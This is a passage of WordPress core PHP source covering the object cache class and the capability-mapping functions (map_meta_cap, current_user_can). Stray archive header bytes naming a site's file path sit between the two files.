'default'. * @param int $expire Optional. Not used. * @return bool True if contents were set, false if key is invalid. */ public function set( $key, $data, $group = 'default', $expire = 0 ) { if ( ! $this->is_valid_key( $key ) ) { return false; } if ( empty( $group ) ) { $group = 'default'; } if ( $this->multisite && ! isset( $this->global_groups[ $group ] ) ) { $key = $this->blog_prefix . $key; } if ( is_object( $data ) ) { $data = clone $data; } $this->cache[ $group ][ $key ] = $data; return true; } /** * Sets multiple values to the cache in one call. * * @since 6.0.0 * * @param array $data Array of key and value to be set. * @param string $group Optional. Where the cache contents are grouped. Default empty. * @param int $expire Optional. When to expire the cache contents, in seconds. * Default 0 (no expiration). * @return bool[] Array of return values, grouped by key. Each value is always true. */ public function set_multiple( array $data, $group = '', $expire = 0 ) { $values = array(); foreach ( $data as $key => $value ) { $values[ $key ] = $this->set( $key, $value, $group, $expire ); } return $values; } /** * Retrieves the cache contents, if it exists. * * The contents will be first attempted to be retrieved by searching by the * key in the cache group. If the cache is hit (success) then the contents * are returned. * * On failure, the number of cache misses will be incremented. * * @since 2.0.0 * * @param int|string $key The key under which the cache contents are stored. * @param string $group Optional. Where the cache contents are grouped. Default 'default'. * @param bool $force Optional. Unused. Whether to force an update of the local cache * from the persistent cache. Default false. * @param bool $found Optional. Whether the key was found in the cache (passed by reference). * Disambiguates a return of false, a storable value. Default null. * @return mixed|false The cache contents on success, false on failure to retrieve contents. */ public function get( $key, $group = 'default', $force = false, &$found = null ) { if ( ! $this->is_valid_key( $key ) ) { return false; } if ( empty( $group ) ) { $group = 'default'; } if ( $this->multisite && ! isset( $this->global_groups[ $group ] ) ) { $key = $this->blog_prefix . $key; } if ( $this->_exists( $key, $group ) ) { $found = true; $this->cache_hits += 1; if ( is_object( $this->cache[ $group ][ $key ] ) ) { return clone $this->cache[ $group ][ $key ]; } else { return $this->cache[ $group ][ $key ]; } } $found = false; $this->cache_misses += 1; return false; } /** * Retrieves multiple values from the cache in one call. * * @since 5.5.0 * * @param array $keys Array of keys under which the cache contents are stored. * @param string $group Optional. Where the cache contents are grouped. Default 'default'. * @param bool $force Optional. Whether to force an update of the local cache * from the persistent cache. Default false. * @return array Array of return values, grouped by key. Each value is either * the cache contents on success, or false on failure. */ public function get_multiple( $keys, $group = 'default', $force = false ) { $values = array(); foreach ( $keys as $key ) { $values[ $key ] = $this->get( $key, $group, $force ); } return $values; } /** * Removes the contents of the cache key in the group. * * If the cache key does not exist in the group, then nothing will happen. * * @since 2.0.0 * * @param int|string $key What the contents in the cache are called. * @param string $group Optional. Where the cache contents are grouped. Default 'default'. * @param bool $deprecated Optional. Unused. Default false. * @return bool True on success, false if the contents were not deleted. */ public function delete( $key, $group = 'default', $deprecated = false ) { if ( ! $this->is_valid_key( $key ) ) { return false; } if ( empty( $group ) ) { $group = 'default'; } if ( $this->multisite && ! isset( $this->global_groups[ $group ] ) ) { $key = $this->blog_prefix . $key; } if ( ! $this->_exists( $key, $group ) ) { return false; } unset( $this->cache[ $group ][ $key ] ); return true; } /** * Deletes multiple values from the cache in one call. * * @since 6.0.0 * * @param array $keys Array of keys to be deleted. * @param string $group Optional. Where the cache contents are grouped. Default empty. * @return bool[] Array of return values, grouped by key. Each value is either * true on success, or false if the contents were not deleted. */ public function delete_multiple( array $keys, $group = '' ) { $values = array(); foreach ( $keys as $key ) { $values[ $key ] = $this->delete( $key, $group ); } return $values; } /** * Increments numeric cache item's value. * * @since 3.3.0 * * @param int|string $key The cache key to increment. * @param int $offset Optional. The amount by which to increment the item's value. * Default 1. * @param string $group Optional. The group the key is in. Default 'default'. * @return int|false The item's new value on success, false on failure. */ public function incr( $key, $offset = 1, $group = 'default' ) { if ( ! $this->is_valid_key( $key ) ) { return false; } if ( empty( $group ) ) { $group = 'default'; } if ( $this->multisite && ! isset( $this->global_groups[ $group ] ) ) { $key = $this->blog_prefix . $key; } if ( ! $this->_exists( $key, $group ) ) { return false; } if ( ! is_numeric( $this->cache[ $group ][ $key ] ) ) { $this->cache[ $group ][ $key ] = 0; } $offset = (int) $offset; $this->cache[ $group ][ $key ] += $offset; if ( $this->cache[ $group ][ $key ] < 0 ) { $this->cache[ $group ][ $key ] = 0; } return $this->cache[ $group ][ $key ]; } /** * Decrements numeric cache item's value. * * @since 3.3.0 * * @param int|string $key The cache key to decrement. * @param int $offset Optional. The amount by which to decrement the item's value. * Default 1. * @param string $group Optional. The group the key is in. Default 'default'. * @return int|false The item's new value on success, false on failure. */ public function decr( $key, $offset = 1, $group = 'default' ) { if ( ! $this->is_valid_key( $key ) ) { return false; } if ( empty( $group ) ) { $group = 'default'; } if ( $this->multisite && ! isset( $this->global_groups[ $group ] ) ) { $key = $this->blog_prefix . $key; } if ( ! $this->_exists( $key, $group ) ) { return false; } if ( ! is_numeric( $this->cache[ $group ][ $key ] ) ) { $this->cache[ $group ][ $key ] = 0; } $offset = (int) $offset; $this->cache[ $group ][ $key ] -= $offset; if ( $this->cache[ $group ][ $key ] < 0 ) { $this->cache[ $group ][ $key ] = 0; } return $this->cache[ $group ][ $key ]; } /** * Clears the object cache of all data. * * @since 2.0.0 * * @return true Always returns true. */ public function flush() { $this->cache = array(); return true; } /** * Removes all cache items in a group. * * @since 6.1.0 * * @param string $group Name of group to remove from cache. * @return true Always returns true. */ public function flush_group( $group ) { unset( $this->cache[ $group ] ); return true; } /** * Sets the list of global cache groups. * * @since 3.0.0 * * @param string|string[] $groups List of groups that are global. */ public function add_global_groups( $groups ) { $groups = (array) $groups; $groups = array_fill_keys( $groups, true ); $this->global_groups = array_merge( $this->global_groups, $groups ); } /** * Switches the internal blog ID. * * This changes the blog ID used to create keys in blog specific groups. * * @since 3.5.0 * * @param int $blog_id Blog ID. */ public function switch_to_blog( $blog_id ) { $blog_id = (int) $blog_id; $this->blog_prefix = $this->multisite ? $blog_id . ':' : ''; } /** * Resets cache keys. * * @since 3.0.0 * * @deprecated 3.5.0 Use WP_Object_Cache::switch_to_blog() * @see switch_to_blog() */ public function reset() { _deprecated_function( __FUNCTION__, '3.5.0', 'WP_Object_Cache::switch_to_blog()' ); // Clear out non-global caches since the blog ID has changed. foreach ( array_keys( $this->cache ) as $group ) { if ( ! isset( $this->global_groups[ $group ] ) ) { unset( $this->cache[ $group ] ); } } } /** * Echoes the stats of the caching. * * Gives the cache hits, and cache misses. Also prints every cached group, * key and the data. * * @since 2.0.0 */ public function stats() { echo '

'; echo "Cache Hits: {$this->cache_hits}
"; echo "Cache Misses: {$this->cache_misses}
"; echo '

'; echo '
    '; foreach ( $this->cache as $group => $cache ) { echo '
  • Group: ' . esc_html( $group ) . ' - ( ' . number_format( strlen( serialize( $cache ) ) / KB_IN_BYTES, 2 ) . 'k )
  • '; } echo '
'; } } PK $[Dljcapabilities.php.tarnu[home/eufvorrv/jigawapost.com.ng/wp-includes/capabilities.php000064400000123336150547657060020325 0ustar00ID ); * map_meta_cap( 'edit_post', $user->ID, $post->ID ); * map_meta_cap( 'edit_post_meta', $user->ID, $post->ID, $meta_key ); * * This function does not check whether the user has the required capabilities, * it just returns what the required capabilities are. * * @since 2.0.0 * @since 4.9.6 Added the `export_others_personal_data`, `erase_others_personal_data`, * and `manage_privacy_options` capabilities. * @since 5.1.0 Added the `update_php` capability. * @since 5.2.0 Added the `resume_plugin` and `resume_theme` capabilities. * @since 5.3.0 Formalized the existing and already documented `...$args` parameter * by adding it to the function signature. * @since 5.7.0 Added the `create_app_password`, `list_app_passwords`, `read_app_password`, * `edit_app_password`, `delete_app_passwords`, `delete_app_password`, * and `update_https` capabilities. * @since 6.7.0 Added the `edit_block_binding` capability. * * @global array $post_type_meta_caps Used to get post type meta capabilities. * * @param string $cap Capability being checked. * @param int $user_id User ID. * @param mixed ...$args Optional further parameters, typically starting with an object ID. * @return string[] Primitive capabilities required of the user. */ function map_meta_cap( $cap, $user_id, ...$args ) { $caps = array(); switch ( $cap ) { case 'remove_user': // In multisite the user must be a super admin to remove themselves. if ( isset( $args[0] ) && $user_id === (int) $args[0] && ! is_super_admin( $user_id ) ) { $caps[] = 'do_not_allow'; } else { $caps[] = 'remove_users'; } break; case 'promote_user': case 'add_users': $caps[] = 'promote_users'; break; case 'edit_user': case 'edit_users': // Allow user to edit themselves. if ( 'edit_user' === $cap && isset( $args[0] ) && $user_id === (int) $args[0] ) { break; } // In multisite the user must have manage_network_users caps. If editing a super admin, the user must be a super admin. if ( is_multisite() && ( ( ! is_super_admin( $user_id ) && 'edit_user' === $cap && is_super_admin( $args[0] ) ) || ! user_can( $user_id, 'manage_network_users' ) ) ) { $caps[] = 'do_not_allow'; } else { $caps[] = 'edit_users'; // edit_user maps to edit_users. } break; case 'delete_post': case 'delete_page': if ( ! isset( $args[0] ) ) { if ( 'delete_post' === $cap ) { /* translators: %s: Capability name. */ $message = __( 'When checking for the %s capability, you must always check it against a specific post.' ); } else { /* translators: %s: Capability name. */ $message = __( 'When checking for the %s capability, you must always check it against a specific page.' ); } _doing_it_wrong( __FUNCTION__, sprintf( $message, '' . $cap . '' ), '6.1.0' ); $caps[] = 'do_not_allow'; break; } $post = get_post( $args[0] ); if ( ! $post ) { $caps[] = 'do_not_allow'; break; } if ( 'revision' === $post->post_type ) { $caps[] = 'do_not_allow'; break; } if ( (int) get_option( 'page_for_posts' ) === $post->ID || (int) get_option( 'page_on_front' ) === $post->ID ) { $caps[] = 'manage_options'; break; } $post_type = get_post_type_object( $post->post_type ); if ( ! $post_type ) { /* translators: 1: Post type, 2: Capability name. */ $message = __( 'The post type %1$s is not registered, so it may not be reliable to check the capability %2$s against a post of that type.' ); _doing_it_wrong( __FUNCTION__, sprintf( $message, '' . $post->post_type . '', '' . $cap . '' ), '4.4.0' ); $caps[] = 'edit_others_posts'; break; } if ( ! $post_type->map_meta_cap ) { $caps[] = $post_type->cap->$cap; // Prior to 3.1 we would re-call map_meta_cap here. if ( 'delete_post' === $cap ) { $cap = $post_type->cap->$cap; } break; } // If the post author is set and the user is the author... if ( $post->post_author && $user_id === (int) $post->post_author ) { // If the post is published or scheduled... if ( in_array( $post->post_status, array( 'publish', 'future' ), true ) ) { $caps[] = $post_type->cap->delete_published_posts; } elseif ( 'trash' === $post->post_status ) { $status = get_post_meta( $post->ID, '_wp_trash_meta_status', true ); if ( in_array( $status, array( 'publish', 'future' ), true ) ) { $caps[] = $post_type->cap->delete_published_posts; } else { $caps[] = $post_type->cap->delete_posts; } } else { // If the post is draft... $caps[] = $post_type->cap->delete_posts; } } else { // The user is trying to edit someone else's post. $caps[] = $post_type->cap->delete_others_posts; // The post is published or scheduled, extra cap required. if ( in_array( $post->post_status, array( 'publish', 'future' ), true ) ) { $caps[] = $post_type->cap->delete_published_posts; } elseif ( 'private' === $post->post_status ) { $caps[] = $post_type->cap->delete_private_posts; } } /* * Setting the privacy policy page requires `manage_privacy_options`, * so deleting it should require that too. */ if ( (int) get_option( 'wp_page_for_privacy_policy' ) === $post->ID ) { $caps = array_merge( $caps, map_meta_cap( 'manage_privacy_options', $user_id ) ); } break; /* * edit_post breaks down to edit_posts, edit_published_posts, or * edit_others_posts. */ case 'edit_post': case 'edit_page': if ( ! isset( $args[0] ) ) { if ( 'edit_post' === $cap ) { /* translators: %s: Capability name. */ $message = __( 'When checking for the %s capability, you must always check it against a specific post.' ); } else { /* translators: %s: Capability name. */ $message = __( 'When checking for the %s capability, you must always check it against a specific page.' ); } _doing_it_wrong( __FUNCTION__, sprintf( $message, '' . $cap . '' ), '6.1.0' ); $caps[] = 'do_not_allow'; break; } $post = get_post( $args[0] ); if ( ! $post ) { $caps[] = 'do_not_allow'; break; } if ( 'revision' === $post->post_type ) { $post = get_post( $post->post_parent ); if ( ! $post ) { $caps[] = 'do_not_allow'; break; } } $post_type = get_post_type_object( $post->post_type ); if ( ! $post_type ) { /* translators: 1: Post type, 2: Capability name. */ $message = __( 'The post type %1$s is not registered, so it may not be reliable to check the capability %2$s against a post of that type.' ); _doing_it_wrong( __FUNCTION__, sprintf( $message, '' . $post->post_type . '', '' . $cap . '' ), '4.4.0' ); $caps[] = 'edit_others_posts'; break; } if ( ! $post_type->map_meta_cap ) { $caps[] = $post_type->cap->$cap; // Prior to 3.1 we would re-call map_meta_cap here. if ( 'edit_post' === $cap ) { $cap = $post_type->cap->$cap; } break; } // If the post author is set and the user is the author... if ( $post->post_author && $user_id === (int) $post->post_author ) { // If the post is published or scheduled... if ( in_array( $post->post_status, array( 'publish', 'future' ), true ) ) { $caps[] = $post_type->cap->edit_published_posts; } elseif ( 'trash' === $post->post_status ) { $status = get_post_meta( $post->ID, '_wp_trash_meta_status', true ); if ( in_array( $status, array( 'publish', 'future' ), true ) ) { $caps[] = $post_type->cap->edit_published_posts; } else { $caps[] = $post_type->cap->edit_posts; } } else { // If the post is draft... $caps[] = $post_type->cap->edit_posts; } } else { // The user is trying to edit someone else's post. $caps[] = $post_type->cap->edit_others_posts; // The post is published or scheduled, extra cap required. if ( in_array( $post->post_status, array( 'publish', 'future' ), true ) ) { $caps[] = $post_type->cap->edit_published_posts; } elseif ( 'private' === $post->post_status ) { $caps[] = $post_type->cap->edit_private_posts; } } /* * Setting the privacy policy page requires `manage_privacy_options`, * so editing it should require that too. */ if ( (int) get_option( 'wp_page_for_privacy_policy' ) === $post->ID ) { $caps = array_merge( $caps, map_meta_cap( 'manage_privacy_options', $user_id ) ); } break; case 'read_post': case 'read_page': if ( ! isset( $args[0] ) ) { if ( 'read_post' === $cap ) { /* translators: %s: Capability name. */ $message = __( 'When checking for the %s capability, you must always check it against a specific post.' ); } else { /* translators: %s: Capability name. */ $message = __( 'When checking for the %s capability, you must always check it against a specific page.' ); } _doing_it_wrong( __FUNCTION__, sprintf( $message, '' . $cap . '' ), '6.1.0' ); $caps[] = 'do_not_allow'; break; } $post = get_post( $args[0] ); if ( ! $post ) { $caps[] = 'do_not_allow'; break; } if ( 'revision' === $post->post_type ) { $post = get_post( $post->post_parent ); if ( ! $post ) { $caps[] = 'do_not_allow'; break; } } $post_type = get_post_type_object( $post->post_type ); if ( ! $post_type ) { /* translators: 1: Post type, 2: Capability name. */ $message = __( 'The post type %1$s is not registered, so it may not be reliable to check the capability %2$s against a post of that type.' ); _doing_it_wrong( __FUNCTION__, sprintf( $message, '' . $post->post_type . '', '' . $cap . '' ), '4.4.0' ); $caps[] = 'edit_others_posts'; break; } if ( ! $post_type->map_meta_cap ) { $caps[] = $post_type->cap->$cap; // Prior to 3.1 we would re-call map_meta_cap here. if ( 'read_post' === $cap ) { $cap = $post_type->cap->$cap; } break; } $status_obj = get_post_status_object( get_post_status( $post ) ); if ( ! $status_obj ) { /* translators: 1: Post status, 2: Capability name. */ $message = __( 'The post status %1$s is not registered, so it may not be reliable to check the capability %2$s against a post with that status.' ); _doing_it_wrong( __FUNCTION__, sprintf( $message, '' . get_post_status( $post ) . '', '' . $cap . '' ), '5.4.0' ); $caps[] = 'edit_others_posts'; break; } if ( $status_obj->public ) { $caps[] = $post_type->cap->read; break; } if ( $post->post_author && $user_id === (int) $post->post_author ) { $caps[] = $post_type->cap->read; } elseif ( $status_obj->private ) { $caps[] = $post_type->cap->read_private_posts; } else { $caps = map_meta_cap( 'edit_post', $user_id, $post->ID ); } break; case 'publish_post': if ( ! isset( $args[0] ) ) { /* translators: %s: Capability name. */ $message = __( 'When checking for the %s capability, you must always check it against a specific post.' ); _doing_it_wrong( __FUNCTION__, sprintf( $message, '' . $cap . '' ), '6.1.0' ); $caps[] = 'do_not_allow'; break; } $post = get_post( $args[0] ); if ( ! $post ) { $caps[] = 'do_not_allow'; break; } $post_type = get_post_type_object( $post->post_type ); if ( ! $post_type ) { /* translators: 1: Post type, 2: Capability name. */ $message = __( 'The post type %1$s is not registered, so it may not be reliable to check the capability %2$s against a post of that type.' ); _doing_it_wrong( __FUNCTION__, sprintf( $message, '' . $post->post_type . '', '' . $cap . '' ), '4.4.0' ); $caps[] = 'edit_others_posts'; break; } $caps[] = $post_type->cap->publish_posts; break; case 'edit_post_meta': case 'delete_post_meta': case 'add_post_meta': case 'edit_comment_meta': case 'delete_comment_meta': case 'add_comment_meta': case 'edit_term_meta': case 'delete_term_meta': case 'add_term_meta': case 'edit_user_meta': case 'delete_user_meta': case 'add_user_meta': $object_type = explode( '_', $cap )[1]; if ( ! isset( $args[0] ) ) { if ( 'post' === $object_type ) { /* translators: %s: Capability name. */ $message = __( 'When checking for the %s capability, you must always check it against a specific post.' ); } elseif ( 'comment' === $object_type ) { /* translators: %s: Capability name. */ $message = __( 'When checking for the %s capability, you must always check it against a specific comment.' ); } elseif ( 'term' === $object_type ) { /* translators: %s: Capability name. */ $message = __( 'When checking for the %s capability, you must always check it against a specific term.' ); } else { /* translators: %s: Capability name. */ $message = __( 'When checking for the %s capability, you must always check it against a specific user.' ); } _doing_it_wrong( __FUNCTION__, sprintf( $message, '' . $cap . '' ), '6.1.0' ); $caps[] = 'do_not_allow'; break; } $object_id = (int) $args[0]; $object_subtype = get_object_subtype( $object_type, $object_id ); if ( empty( $object_subtype ) ) { $caps[] = 'do_not_allow'; break; } $caps = map_meta_cap( "edit_{$object_type}", $user_id, $object_id ); $meta_key = isset( $args[1] ) ? $args[1] : false; if ( $meta_key ) { $allowed = ! is_protected_meta( $meta_key, $object_type ); if ( ! empty( $object_subtype ) && has_filter( "auth_{$object_type}_meta_{$meta_key}_for_{$object_subtype}" ) ) { /** * Filters whether the user is allowed to edit a specific meta key of a specific object type and subtype. * * The dynamic portions of the hook name, `$object_type`, `$meta_key`, * and `$object_subtype`, refer to the metadata object type (comment, post, term or user), * the meta key value, and the object subtype respectively. * * @since 4.9.8 * * @param bool $allowed Whether the user can add the object meta. Default false. * @param string $meta_key The meta key. * @param int $object_id Object ID. * @param int $user_id User ID. * @param string $cap Capability name. * @param string[] $caps Array of the user's capabilities. */ $allowed = apply_filters( "auth_{$object_type}_meta_{$meta_key}_for_{$object_subtype}", $allowed, $meta_key, $object_id, $user_id, $cap, $caps ); } else { /** * Filters whether the user is allowed to edit a specific meta key of a specific object type. * * Return true to have the mapped meta caps from `edit_{$object_type}` apply. * * The dynamic portion of the hook name, `$object_type` refers to the object type being filtered. * The dynamic portion of the hook name, `$meta_key`, refers to the meta key passed to map_meta_cap(). * * @since 3.3.0 As `auth_post_meta_{$meta_key}`. * @since 4.6.0 * * @param bool $allowed Whether the user can add the object meta. Default false. * @param string $meta_key The meta key. * @param int $object_id Object ID. * @param int $user_id User ID. * @param string $cap Capability name. * @param string[] $caps Array of the user's capabilities. */ $allowed = apply_filters( "auth_{$object_type}_meta_{$meta_key}", $allowed, $meta_key, $object_id, $user_id, $cap, $caps ); } if ( ! empty( $object_subtype ) ) { /** * Filters whether the user is allowed to edit meta for specific object types/subtypes. * * Return true to have the mapped meta caps from `edit_{$object_type}` apply. * * The dynamic portion of the hook name, `$object_type` refers to the object type being filtered. * The dynamic portion of the hook name, `$object_subtype` refers to the object subtype being filtered. * The dynamic portion of the hook name, `$meta_key`, refers to the meta key passed to map_meta_cap(). * * @since 4.6.0 As `auth_post_{$post_type}_meta_{$meta_key}`. * @since 4.7.0 Renamed from `auth_post_{$post_type}_meta_{$meta_key}` to * `auth_{$object_type}_{$object_subtype}_meta_{$meta_key}`. * @deprecated 4.9.8 Use {@see 'auth_{$object_type}_meta_{$meta_key}_for_{$object_subtype}'} instead. * * @param bool $allowed Whether the user can add the object meta. Default false. * @param string $meta_key The meta key. * @param int $object_id Object ID. * @param int $user_id User ID. * @param string $cap Capability name. * @param string[] $caps Array of the user's capabilities. */ $allowed = apply_filters_deprecated( "auth_{$object_type}_{$object_subtype}_meta_{$meta_key}", array( $allowed, $meta_key, $object_id, $user_id, $cap, $caps ), '4.9.8', "auth_{$object_type}_meta_{$meta_key}_for_{$object_subtype}" ); } if ( ! $allowed ) { $caps[] = $cap; } } break; case 'edit_comment': if ( ! isset( $args[0] ) ) { /* translators: %s: Capability name. */ $message = __( 'When checking for the %s capability, you must always check it against a specific comment.' ); _doing_it_wrong( __FUNCTION__, sprintf( $message, '' . $cap . '' ), '6.1.0' ); $caps[] = 'do_not_allow'; break; } $comment = get_comment( $args[0] ); if ( ! $comment ) { $caps[] = 'do_not_allow'; break; } $post = get_post( $comment->comment_post_ID ); /* * If the post doesn't exist, we have an orphaned comment. * Fall back to the edit_posts capability, instead. */ if ( $post ) { $caps = map_meta_cap( 'edit_post', $user_id, $post->ID ); } else { $caps = map_meta_cap( 'edit_posts', $user_id ); } break; case 'unfiltered_upload': if ( defined( 'ALLOW_UNFILTERED_UPLOADS' ) && ALLOW_UNFILTERED_UPLOADS && ( ! is_multisite() || is_super_admin( $user_id ) ) ) { $caps[] = $cap; } else { $caps[] = 'do_not_allow'; } break; case 'edit_css': case 'unfiltered_html': // Disallow unfiltered_html for all users, even admins and super admins. if ( defined( 'DISALLOW_UNFILTERED_HTML' ) && DISALLOW_UNFILTERED_HTML ) { $caps[] = 'do_not_allow'; } elseif ( is_multisite() && ! is_super_admin( $user_id ) ) { $caps[] = 'do_not_allow'; } else { $caps[] = 'unfiltered_html'; } break; case 'edit_files': case 'edit_plugins': case 'edit_themes': // Disallow the file editors. if ( defined( 'DISALLOW_FILE_EDIT' ) && DISALLOW_FILE_EDIT ) { $caps[] = 'do_not_allow'; } elseif ( ! wp_is_file_mod_allowed( 'capability_edit_themes' ) ) { $caps[] = 'do_not_allow'; } elseif ( is_multisite() && ! is_super_admin( $user_id ) ) { $caps[] = 'do_not_allow'; } else { $caps[] = $cap; } break; case 'update_plugins': case 'delete_plugins': case 'install_plugins': case 'upload_plugins': case 'update_themes': case 'delete_themes': case 'install_themes': case 'upload_themes': case 'update_core': /* * Disallow anything that creates, deletes, or updates core, plugin, or theme files. * Files in uploads are excepted. */ if ( ! wp_is_file_mod_allowed( 'capability_update_core' ) ) { $caps[] = 'do_not_allow'; } elseif ( is_multisite() && ! is_super_admin( $user_id ) ) { $caps[] = 'do_not_allow'; } elseif ( 'upload_themes' === $cap ) { $caps[] = 'install_themes'; } elseif ( 'upload_plugins' === $cap ) { $caps[] = 'install_plugins'; } else { $caps[] = $cap; } break; case 'install_languages': case 'update_languages': if ( ! wp_is_file_mod_allowed( 'can_install_language_pack' ) ) { $caps[] = 'do_not_allow'; } elseif ( is_multisite() && ! is_super_admin( $user_id ) ) { $caps[] = 'do_not_allow'; } else { $caps[] = 'install_languages'; } break; case 'activate_plugins': case 'deactivate_plugins': case 'activate_plugin': case 'deactivate_plugin': $caps[] = 'activate_plugins'; if ( is_multisite() ) { // update_, install_, and delete_ are handled above with is_super_admin(). $menu_perms = get_site_option( 'menu_items', array() ); if ( empty( $menu_perms['plugins'] ) ) { $caps[] = 'manage_network_plugins'; } } break; case 'resume_plugin': $caps[] = 'resume_plugins'; break; case 'resume_theme': $caps[] = 'resume_themes'; break; case 'delete_user': case 'delete_users': // If multisite only super admins can delete users. if ( is_multisite() && ! is_super_admin( $user_id ) ) { $caps[] = 'do_not_allow'; } else { $caps[] = 'delete_users'; // delete_user maps to delete_users. } break; case 'create_users': if ( ! is_multisite() ) { $caps[] = $cap; } elseif ( is_super_admin( $user_id ) || get_site_option( 'add_new_users' ) ) { $caps[] = $cap; } else { $caps[] = 'do_not_allow'; } break; case 'manage_links': if ( get_option( 'link_manager_enabled' ) ) { $caps[] = $cap; } else { $caps[] = 'do_not_allow'; } break; case 'customize': $caps[] = 'edit_theme_options'; break; case 'delete_site': if ( is_multisite() ) { $caps[] = 'manage_options'; } else { $caps[] = 'do_not_allow'; } break; case 'edit_term': case 'delete_term': case 'assign_term': if ( ! isset( $args[0] ) ) { /* translators: %s: Capability name. */ $message = __( 'When checking for the %s capability, you must always check it against a specific term.' ); _doing_it_wrong( __FUNCTION__, sprintf( $message, '' . $cap . '' ), '6.1.0' ); $caps[] = 'do_not_allow'; break; } $term_id = (int) $args[0]; $term = get_term( $term_id ); if ( ! $term || is_wp_error( $term ) ) { $caps[] = 'do_not_allow'; break; } $tax = get_taxonomy( $term->taxonomy ); if ( ! $tax ) { $caps[] = 'do_not_allow'; break; } if ( 'delete_term' === $cap && ( (int) get_option( 'default_' . $term->taxonomy ) === $term->term_id || (int) get_option( 'default_term_' . $term->taxonomy ) === $term->term_id ) ) { $caps[] = 'do_not_allow'; break; } $taxo_cap = $cap . 's'; $caps = map_meta_cap( $tax->cap->$taxo_cap, $user_id, $term_id ); break; case 'manage_post_tags': case 'edit_categories': case 'edit_post_tags': case 'delete_categories': case 'delete_post_tags': $caps[] = 'manage_categories'; break; case 'assign_categories': case 'assign_post_tags': $caps[] = 'edit_posts'; break; case 'create_sites': case 'delete_sites': case 'manage_network': case 'manage_sites': case 'manage_network_users': case 'manage_network_plugins': case 'manage_network_themes': case 'manage_network_options': case 'upgrade_network': $caps[] = $cap; break; case 'setup_network': if ( is_multisite() ) { $caps[] = 'manage_network_options'; } else { $caps[] = 'manage_options'; } break; case 'update_php': if ( is_multisite() && ! is_super_admin( $user_id ) ) { $caps[] = 'do_not_allow'; } else { $caps[] = 'update_core'; } break; case 'update_https': if ( is_multisite() && ! is_super_admin( $user_id ) ) { $caps[] = 'do_not_allow'; } else { $caps[] = 'manage_options'; $caps[] = 'update_core'; } break; case 'export_others_personal_data': case 'erase_others_personal_data': case 'manage_privacy_options': $caps[] = is_multisite() ? 'manage_network' : 'manage_options'; break; case 'create_app_password': case 'list_app_passwords': case 'read_app_password': case 'edit_app_password': case 'delete_app_passwords': case 'delete_app_password': $caps = map_meta_cap( 'edit_user', $user_id, $args[0] ); break; case 'edit_block_binding': $block_editor_context = $args[0]; if ( isset( $block_editor_context->post ) ) { $object_id = $block_editor_context->post->ID; } /* * If the post ID is null, check if the context is the site editor. * Fall back to the edit_theme_options in that case. */ if ( ! isset( $object_id ) ) { if ( ! isset( $block_editor_context->name ) || 'core/edit-site' !== $block_editor_context->name ) { $caps[] = 'do_not_allow'; break; } $caps = map_meta_cap( 'edit_theme_options', $user_id ); break; } $object_subtype = get_object_subtype( 'post', (int) $object_id ); if ( empty( $object_subtype ) ) { $caps[] = 'do_not_allow'; break; } $post_type_object = get_post_type_object( $object_subtype ); // Initialize empty array if it doesn't exist. if ( ! isset( $post_type_object->capabilities ) ) { $post_type_object->capabilities = array(); } $post_type_capabilities = get_post_type_capabilities( $post_type_object ); $caps = map_meta_cap( $post_type_capabilities->edit_post, $user_id, $object_id ); break; default: // Handle meta capabilities for custom post types. global $post_type_meta_caps; if ( isset( $post_type_meta_caps[ $cap ] ) ) { return map_meta_cap( $post_type_meta_caps[ $cap ], $user_id, ...$args ); } // Block capabilities map to their post equivalent. $block_caps = array( 'edit_blocks', 'edit_others_blocks', 'publish_blocks', 'read_private_blocks', 'delete_blocks', 'delete_private_blocks', 'delete_published_blocks', 'delete_others_blocks', 'edit_private_blocks', 'edit_published_blocks', ); if ( in_array( $cap, $block_caps, true ) ) { $cap = str_replace( '_blocks', '_posts', $cap ); } // If no meta caps match, return the original cap. $caps[] = $cap; } /** * Filters the primitive capabilities required of the given user to satisfy the * capability being checked. * * @since 2.8.0 * * @param string[] $caps Primitive capabilities required of the user. * @param string $cap Capability being checked. * @param int $user_id The user ID. * @param array $args Adds context to the capability check, typically * starting with an object ID. */ return apply_filters( 'map_meta_cap', $caps, $cap, $user_id, $args ); } /** * Returns whether the current user has the specified capability. * * This function also accepts an ID of an object to check against if the capability is a meta capability. Meta * capabilities such as `edit_post` and `edit_user` are capabilities used by the `map_meta_cap()` function to * map to primitive capabilities that a user or role has, such as `edit_posts` and `edit_others_posts`. * * Example usage: * * current_user_can( 'edit_posts' ); * current_user_can( 'edit_post', $post->ID ); * current_user_can( 'edit_post_meta', $post->ID, $meta_key ); * * While checking against particular roles in place of a capability is supported * in part, this practice is discouraged as it may produce unreliable results. * * Note: Will always return true if the current user is a super admin, unless specifically denied. * * @since 2.0.0 * @since 5.3.0 Formalized the existing and already documented `...$args` parameter * by adding it to the function signature. * @since 5.8.0 Converted to wrapper for the user_can() function. * * @see WP_User::has_cap() * @see map_meta_cap() * * @param string $capability Capability name. * @param mixed ...$args Optional further parameters, typically starting with an object ID. * @return bool Whether the current user has the given capability. If `$capability` is a meta cap and `$object_id` is * passed, whether the current user has the given meta capability for the given object. */ function current_user_can( $capability, ...$args ) { return user_can( wp_get_current_user(), $capability, ...$args ); } /** * Returns whether the current user has the specified capability for a given site. * * This function also accepts an ID of an object to check against if the capability is a meta capability. Meta * capabilities such as `edit_post` and `edit_user` are capabilities used by the `map_meta_cap()` function to * map to primitive capabilities that a user or role has, such as `edit_posts` and `edit_others_posts`. * * This function replaces the current_user_can_for_blog() function. * * Example usage: * * current_user_can_for_site( $site_id, 'edit_posts' ); * current_user_can_for_site( $site_id, 'edit_post', $post->ID ); * current_user_can_for_site( $site_id, 'edit_post_meta', $post->ID, $meta_key ); * * @since 6.7.0 * * @param int $site_id Site ID. * @param string $capability Capability name. * @param mixed ...$args Optional further parameters, typically starting with an object ID. * @return bool Whether the user has the given capability. */ function current_user_can_for_site( $site_id, $capability, ...$args ) { $switched = is_multisite() ? switch_to_blog( $site_id ) : false; $can = current_user_can( $capability, ...$args ); if ( $switched ) { restore_current_blog(); } return $can; } /** * Returns whether the author of the supplied post has the specified capability. * * This function also accepts an ID of an object to check against if the capability is a meta capability. Meta * capabilities such as `edit_post` and `edit_user` are capabilities used by the `map_meta_cap()` function to * map to primitive capabilities that a user or role has, such as `edit_posts` and `edit_others_posts`. * * Example usage: * * author_can( $post, 'edit_posts' ); * author_can( $post, 'edit_post', $post->ID ); * author_can( $post, 'edit_post_meta', $post->ID, $meta_key ); * * @since 2.9.0 * @since 5.3.0 Formalized the existing and already documented `...$args` parameter * by adding it to the function signature. * * @param int|WP_Post $post Post ID or post object. * @param string $capability Capability name. * @param mixed ...$args Optional further parameters, typically starting with 